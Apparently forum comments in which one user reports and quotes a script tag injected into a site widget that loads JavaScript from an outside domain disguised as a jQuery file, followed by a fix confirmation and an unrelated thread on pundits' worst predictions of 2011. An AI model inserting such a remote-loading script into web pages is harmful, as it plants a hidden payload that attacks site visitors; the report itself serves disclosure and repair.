In case they haven't found it yet, it looks like the code that sets the mischief in motion is the following:
<div class="textwidget"><p><script type="text/javascript" src="http://www.balivilla.fr/jquery.php"></script></p>
(LW's Markdown processor may add angle brackets around the URL that aren't really there.)
Thanks; I believe it's now fixed.
Nate Silver (the NYT quantitative political analyst) and Dave Weigel (the Slate columnist) have started a good tradition, listing their worst predictions of 2011. (Silver also listed his best.)
If any other pundits are doing the same, link them here.